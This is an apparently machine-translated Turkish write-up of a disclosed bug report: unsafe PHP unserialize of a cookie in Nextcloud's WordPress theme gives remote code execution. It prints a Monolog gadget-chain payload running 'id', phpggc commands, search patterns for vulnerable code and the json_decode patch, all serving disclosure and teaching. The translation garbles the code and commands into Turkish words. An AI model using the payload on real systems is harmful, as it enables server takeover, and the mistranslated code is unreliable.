WordPress’te Uzaktan Kod Yürütme Nasıl Bulunur? [Example]


Bu makalede, bir bilgisayar korsanının Nextcloud’un WordPress web sitesinde özel temasının kaynak kodunda Uzaktan Kod Yürütme (RCE) bulduğu kritik bir hata raporundan bahsedeceğiz. PHP’de güvenli olmayan seri durumdan çıkarmanın kullanılmasıyla ilgili uyarıcı bir hikaye anlatıyor ve kaynak kodu da mevcut olduğunda canlı web hedeflerinde hataların nasıl sıklıkla bulunduğuna dair bir başarı öyküsü anlatıyor.

Güvenli Olmayan Seriden Çıkarma Nedir?

Web uygulamalarının sıklıkla, arka uç sunucusunda form ve kullanıcı verileri gibi değişkenler olarak kullanılmak üzere yapılandırılmış bilgileri aktarması gerekir. Bunları arka uç programlama dilinin kolayca kullanabileceği formatlarda serileştirmek uygundur, ancak bu veriler kullanıcı girişi tarafından kontrol ediliyorsa genellikle tehlikeli olabilir. Bu aynı zamanda güvenli olmayan seri durumdan çıkarma olarak da bilinir.

Güvenli olmayan seri durumdan çıkarma, kullanıcı tarafından kontrol edilen seri hale getirilmiş veriler güvenli olmayan bir şekilde yüklendiğinde meydana gelir; bu, RCE’ye ve bir saldırganın sunucuda kod çalıştırarak web uygulamasına tam erişim kazanmasına neden olabilir. Bu, savunmasız web hizmetinin ve ilgili verilerin (potansiyel olarak hassas müşteri bilgileri dahil) bütünlüğünün, gizliliğinin ve kullanılabilirliğinin risk altında olduğu anlamına gelir. Bu tür hataları test etmek ve düzeltmek, bilgisayar korsanlarının uygulamanın veri modelini, teknoloji yığınını ve hatta bazen kaynak koduna erişimini iyi anlamasını gerektirir.

Uzaktan Kod Yürütmenin İş Etkisi

  • Veri İhlali: Saldırganlar RCE aracılığıyla kuruluşunuzun web sunucularına erişim sağladığında verilere web uygulamasının aynı bağlamı ve izniyle erişebilirler. Bu, hassas müşteri kimlik bilgileri, PII (Kişisel Olarak Tanımlanabilir Bilgiler) ve bulut sağlayıcıları ve ödeme ağ geçitleri gibi önemli üçüncü taraf hizmetlerine yönelik API anahtarları gibi şeylere erişim anlamına gelir. Bu durum, mevzuata uyulmaması nedeniyle mali kayba, itibar kaybına ve yasal sorunlara yol açabilir.
  • Hizmet Kesintisi: Saldırganlar ayrıca web sitenizin kullanılabilirliğini bozmak için RCE’den kazanılan erişimi de kullanabilir. Bu, kapatma ve hatta tahrifat şeklinde olabilir. Web uygulamasının işletmeniz açısından kritikliğine bağlı olarak bu durum ciddi mali kayıplara ve itibar kaybına neden olabilir.
  • Müşterilere Zarar: Web taraması gibi popüler saldırılar, müşteri kredi kartları ve kişisel ayrıntılar gibi ödeme bilgilerini çalmak üzere tasarlanmış skimmer’ları dağıtmak için genellikle WordPress’teki RCE güvenlik açıklarından yararlanır. RCE yoluyla ele geçirilmesi, saldırganların ziyaretçilerin çalıştırdığı rastgele komut dosyalarını ve diğer kötü amaçlı yazılımları enjekte ederek kendi müşterilerinize zarar verebileceği anlamına gelir.

Ayrıntılar: Hata Raporu

RCE WordPress hatası

Bu özel durumda hata, Nextcloud’un web sitesinde geliştirdikleri özel bir tema aracılığıyla bulunan bir RCE’ydi. Bilgisayar korsanı Lukas Reschke, bunun nedeninin çerezlerden gelen kullanıcı girişinin serileştirilmesinden kaynaklandığını açıklayan çok kısa bir rapor yazdı ve güvenlik açığı bulunan kodun tam satırını GitHub kalıcı bağlantısında sağladı. Bir göz atalım:

function nc_change_nf_default_value( $default_value, $field_type, $field_settings ) {

if(isset($_COOKIE[‘nc_form_fields’])){
$nc_form_fields = serileştirmeyi kaldır(base64_decode($_COOKIE)[‘nc_form_fields’]));
if( str_contains($field_settings[‘key’]’isim’) && !str_contains($field_settings[‘key’]’organizasyon’)) ){
if(isset($nc_form_fields)[‘nc_form_name’])) {
$default_value = $nc_form_fields[‘nc_form_name’];
}
}

Görünüşe göre bu işlev form alanlarıyla bir şeyler yapıyor, ancak form alanları nc_form_fields adlı bir çerezdeki kullanıcı girişi tarafından kontrol ediliyor ve Lukas seri durumdan çıkarmanın ardından seri durumdan çıkarma çağrısı yoluyla bunun içindeki alanlara erişiyor.

Lukas ayrıca nextcloud-theme’ın geniş kod tabanında aynı güvenlik açığını içeren ayrı bir konumdan bahsetti ve bize bunu kod tabanının tamamında unserialize anahtar kelimesini arayarak bulduğunu ima etti:

$pref_lang = ”;
if(isset($_COOKIE[‘nc_form_fields’])){
$nc_form_fields = serileştirmeyi kaldır(base64_decode($_COOKIE)[‘nc_form_fields’]));
if( isset($nc_form_fields[‘nc_form_lang’])){
$pref_lang = $nc_form_fields[‘nc_form_lang’];
}
} başka {
$pref_lang = $browser_lang;
}

Serileştirmeyi kaldırma işlevi için PHP belgelerine bir göz atalım:

deinialize etmek

Saklanan bir gösterimden bir PHP değeri oluşturur. Değerleri saklamanın, almanın ve bunları farklı işlevler ve sayfalar arasında aktarmanın (örneğin, kullanıcılara bir form sunma, doldurmalarını sağlama ve geri gönderme) kullanışlı bir yoludur. Dokümantasyon ayrıca, bir bilgisayar korsanının nesne başlatma sırasında kodu yükleyip yürütebilmesi nedeniyle, güvenilmeyen kullanıcı girişinin unserialize() işlevine aktarılmaması gerektiğini kırmızı bir bayrakla belirtir.

İstismar

Yürütmek için kod yüklemek tam olarak Lucas’ın yaptığı şeydi. WordPress’in bu örneğine kurulduğundan beri Monolog’un çalıştığı gadget zincirinin bazı yüklerini test etti. Araçlar, çalışan koda ve yüklenen kitaplıklara ait işlevlerin amaçlanan bir etkiyi elde etmek için kullanıldığı Geri Dönüş Odaklı Programlama (ROP) konseptidir. Şimdi onun yüküne bir göz atalım:

Monolog yükü

Bu Lukas’ın nc_form_fields’a koyduğu base64 kodu çözülmüş değerdir:

O:37:”Monolog\Handler\FingersCrossedHandler”:4:{s:16:”*passthruLevel”;i:0;s:10:”*işleyici”;r:1;s:9:”*buffer “;a:1:{i:0;a:2:{i:0;s:2:”id”;s:5:”seviye”;i:100;}}s:13:”*işlemciler” ;a:2:{i:0;s:3:”konum”;i:1;s:6:”sistem”;}}

Bu kodu çözülmüş veriyi okumak, serileştirilmiş değişkenlerin dahili PHP yapısını şu şekilde ortaya çıkardı: ::. Örneğin, bir Nesne (O) olan O:37:”Monolog\Handler\FingersCrossedHandler” ile başlar ve 37 bayt uzunluğunda bir değerle gösterilir, “Monolog\Handler\FingersCrossedHandler” olur. Dize (ler) ve tamsayı (i) gibi diğer türler yapı boyunca görülebilir. Bu mantığı takip ederek, bilgisayar korsanının sunumunda açıkladığı gibi, bu yükün sistemi bir parametre olarak id ile çağırdığını söyleyebiliriz:

kod

PHP seri durumdan çıkarma yüklerini oluşturmak için popüler bir araç phpggc’dir. Bu depoda yapılan hızlı bir arama, Monolog kullanan birden fazla RCE zincirini ortaya çıkardı:

Monolog kodu

Aslında phpggc’yi Monolog/rce7 seçeneğiyle çalıştırmak, tam olarak Lukas’ın sahip olduğu gibi görünen bir yük oluşturur:

git klonu https://github.com/ambionics/phpggc
cd phpggc
liman işçisi yapısı -t phpggc .
liman işçisi phpggc Monolog/rce7 ‘sistem’ ‘kimliğini’ çalıştırır

O:37:”Monolog\Handler\FingersCrossedHandler”:4:{s:16:”*passthruLevel”;i:0;s:10:”*işleyici”;r:1;s:9:”*buffe r”;a:1:{i:0;a:2:{i:0;s:2:”id”;s:5:”level”;i:0;}}s:13:”*işlemciler “;a:2:{i:0;s:3:”konum”;i:1;s:6:”sistem”;}}

Bir ROP aracı olarak kötüye kullanılabilmek bu durumda Monolog’da bir güvenlik açığı değildir; sanki birisi serileştirmeyi kaldırma yoluyla rastgele sınıfları yükleyebilir, kod yürütmek için birçok başka yol kullanabilir. Bu durumda, Monolog sınıfı FingersCrossedHandler yapıcısı, çağıranın çağrılacak isteğe bağlı bir işlevi (örneğin, komutları yürüten sistem) ayarlamasına olanak tanıyan $handler parametresini içeriyordu.

Parmak çarpı işleyici

Monolog kurulmamış olsa bile, bir WordPress web sitesinde güvenli olmayan seri durumdan çıkarma yoluyla birçok gadget RCE için hala kullanılabilir. WordPress’in kendisinde gadget’lar var:

phpggc wordpress

Bilgisayar Korsanları Kaynak Kodundaki PHP Güvenli Olmayan Seriden Çıkarma Hatalarını Nasıl Buluyor?

Kapsam dahilinde benzer hatalar başlatmak için, biz bilgisayar korsanları kapsamda “Kaynak Kodu” hedefleri olan programları aramaya başlayabiliriz:

kaynak kodu fırsat keşfi

Daha sonra, teknolojisi olarak PHP’ye sahip olan hedeflere göre filtreleme yapabiliriz:

Teknoloji olarak PHP

Ardından programların kapsamlarına bakın ve tüm kaynak kodunu indirin. Artık ripgrep’i kullanarak bu komutla hepsini tarayabilirsiniz:

Şimdi sonuçlara bakın ve kullanıcı girdilerini bulun. Serileştirmeden geçirmek için iletilen kullanıcı girişini bulma sürecini hızlandırmak için, isteklerden güvenilmeyen kullanıcı girişi içerebilecek PHP özel değişkenleri olan $_COOKIE, $_GET, $_POST ve $_REQUEST gibi anahtar sözcükler ekleyebilirsiniz:

rg ‘serileştirmeyi kaldır.*(COOKIE|GET|POST|REQUEST).*’ .

Regex’imizin doğru olduğunu doğrulamak için bazı hassas kodlar içeren bir test.php dosyası oluşturabiliriz:

echo serileştirmeyi kaldır($_GET[‘id’]);
?>

$ rg ‘serileştirmeyi kaldır.*(COOKIE|GET|POST|REQUEST).*’ .
./test.php
2: echo serileştirmeyi kaldır($_GET[‘id’]);

PHP Serileştirilmiş Çerezleri Dinamik Olarak Bulma

HTTP geçmişinde PHP serileştirilmiş çerezleri bulmak için, HTTP trafiğini Java koduna göre filtrelemek için Burp’un “Bambas” adlı yeni özelliğini kullanabiliriz. İstek ve yanıt gövdesinin tamamı bize açık olduğundan, her bir çerez üzerinde döngü oluşturabilir ve bunların potansiyel olarak PHP serileştirilmiş verileri içerip içermediğini kontrol edebiliriz.

Bunu yapmak için Burp’s Proxy -> HTTP geçmişine gidin ve Filtre ayarlarına tıklayın:

HTTP proxy filtresi

Şimdi “Bambda modu”na tıklayın ve bu Bambda pasajını yapıştırın, ardından Uygula’ya tıklayın:

if (requestResponse.finalRequest().hasHeader(“Çerez”)) {
Desen PHPOBJ_PATTERN = Pattern.compile(“^(.*[a-zA-Z]:[0-9]{0,5}:\”.*)$”);
for (String kv : requestResponse.finalRequest().headerValue(“Cookie”).split(“; “)) {

String cookieValue = kv.split(“=”)[1];
denemek {
// base64 kodlu PHP serileştirilmiş nesnesini kontrol edin
Dizenin kodu çözüldü = new String(Base64.getUrlDecoder().decode(cookieValue));
if (PHPOBJ_PATTERN.matcher(kodu çözülmüş).eşleşir()) {
doğruyu döndür;
}
} catch(IllegalArgumentException e) {
// düz PHP nesnesini kontrol et
if (PHPOBJ_PATTERN.matcher(cookieValue).matches()) {
doğruyu döndür;
}
}
// DÖNGÜ SONU
}
}
yanlış döndür;

Temel olarak, istek başlığındaki her çerez değeri arasında döngü yapar ve normal bir ifade kullanarak düz metin veya base64 kodlu PHP serileştirilmiş nesne kalıplarını kontrol eder. Regex, çok çeşitli PHP serileştirilmiş veri yüklerini yakalamak için basit bir model kullandığından ve bunların pek çok varyasyonu olduğundan, yanlış pozitifler olacağını unutmayın.

sonraki bulut isteği

Ve bunun gibi, test edebileceğimiz şüpheli görünen base64 kodlu çerez değerlerine sahip nc_form_fields içeren üç istek bulduk.

İyileştirme

Güvenli olmayan seri durumdan çıkarmanın neden olduğu RCE’yi önlemek için geliştiriciler, seri durumdan çıkarma gibi güvenli olmayan işlevlerin tüm örneklerini, nesnelerin içerebileceği şeyler konusunda daha katı olan daha güvenli kodlama teknikleriyle değiştirebilir. Bu, Nextcloud’un bu özel güvenlik açığı için, hata raporundan sadece birkaç gün sonra derhal geliştirdiği yamadır:

Sonraki bulut yaması

Geliştiriciler, güvenli olmayan serileştirmeyi kaldırma işlevini, RCE için yüklenebilecek rastgele kod içeremeyen json_decode ile değiştirdi. Lucas’ın bu hatayı bulmasını sağlayan kaynak kodunun mevcut olmasının, geliştiricilerin bir yama ile yanıt verme yeteneğini de büyük ölçüde geliştirdiğine inanıyoruz, çünkü bu, bilgisayar korsanının bu hatanın her örneğinin kodda tam olarak nerede olduğunu vurgulayarak Nextcloud’a rehberlik etmesini sağladı. yama çabaları.

Çözüm

Serileştirmeyi kaldırmak için yapılan tek bir işlev çağrısı, bir saldırganın web sunucusunda bir kabuk kazanma potansiyeli ile birlikte tüm web sitesini RCE’ye açtı. PHP’de bu tür bir güvenlik açığını bulmak, kapsamdaki kod tabanlarında zor değildir ve bunun için çalışan bir veri yükü oluşturmak da zor değildir; Aslında bu, hacker Lucas’ın yalnızca PHP’de değil, herhangi bir dilde kaynak kodu varlıklarındaki hataları bulma konusunda harika bir yaklaşıma sahip olduğunu vurguluyor. Tehlikeli işlev çağrılarını tespit etmek, kullanıcı kontrollü girdi almak, ardından güvenlik açığını canlı bir hedefe karşı doğrulamak ve son olarak sunucuda zararsız bir komut çalıştırarak güvenlik etkisini göstermekle başlar.

Kuruluşunuzu HackerOne ile Güvenli Olmayan Seriden Çıkarmaya Karşı Koruyun

Bu, güvenli olmayan bir seri durumdan çıkarma güvenlik açığının tehlikeli etkisine ve bir saldırganın bundan yararlanmasının ne kadar kolay olduğuna dair yalnızca bir örnektir. HackerOne ve etik bilgisayar korsanlarından oluşan topluluğumuz, saldırganın bir güvenlik açığını keşfetme konusundaki zihniyetini göz önünde bulundurarak, hata ödülü, Hizmet Olarak Pentest (PTaaS), Kod Güvenliği Denetimi veya diğer çözümler aracılığıyla kuruluşların güvenli olmayan seri durumdan çıkarma ve diğer güvenlik açıklarını tanımlamasına ve düzeltmesine yardımcı olmak için en iyi donanıma sahiptir. güvenlik açığı.

En önemli 10 HackerOne güvenlik açığının etkisi hakkında daha fazla bilgi edinmek için 7. Yıllık Hacker Destekli Güvenlik Raporunu indirin veya kuruluşunuzda güvenli olmayan seri durumdan çıkarma güvenlik açıklarını ele almaya başlamak için HackerOne ile iletişime geçin.



Source link